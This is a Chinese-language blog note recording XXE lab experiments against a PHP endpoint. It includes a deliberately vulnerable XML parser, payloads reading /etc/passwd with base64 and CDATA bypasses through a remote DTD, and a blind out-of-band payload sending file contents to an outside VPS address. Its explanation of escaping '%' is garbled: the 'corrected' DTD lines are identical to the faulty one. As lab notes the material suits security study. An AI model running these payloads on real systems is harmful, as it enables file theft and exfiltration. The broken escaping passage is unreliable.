很早的博客筆記,簡書記下,避免丟失。
https://zzqsmile.github.io/2019/08/19/web安全/XXE/XXE/
好記性不如爛筆頭,關于XXE還是要記錄下自己的學習過程,以后看起來會更清楚,詳細原理不再多講,簡單做個實驗記錄下筆記以便使用。
實驗環境
web服務器:10.12.10.198
VPS: 107.182.30.95
實驗一:有回顯讀本地敏感文件(Normal XXE)
web服務器放置解析XML的php代碼:
示例代碼
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>
結果如下:
image.png
讀取文件種可能會有特殊符號如&
,<
,>
,"
,'
等會導致讀取失敗,比如下面讀取含有特殊字符文件2.txt失敗:
廢話不多說,解決辦法有兩種:
第一種:將讀取文件使用base64編碼
即可
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> ]>
<creds>&goodies;</creds>
結果如下:
image.png
第二種:將讀取數據放在CDATA
標簽中輸出進行繞過
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://107.182.30.95/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
服務器上放置evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
結果如下:
image.png
注意:讀取文件時候要注意文件以及文件夾權限問題,否則會讀取失敗,記錄下遇到的這個坑吧,在這浪費了不少時間,燒腦~
實驗二:無回顯讀取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
此處需要注意,因為實體值中不能有%
,故需要將%
轉成%
或者%
,即正確寫法如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
或者:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://107.182.30.95/test.dtd">
%remote;%int;%send;
]>
在服務器監聽端口,發送payload結果如下:
image.png
image.png
以上就是XXE基本利用方式總結筆記,當然XXE的危害還有很多,由于時間原因,暫不記錄。
VPS已廢,就不打碼了。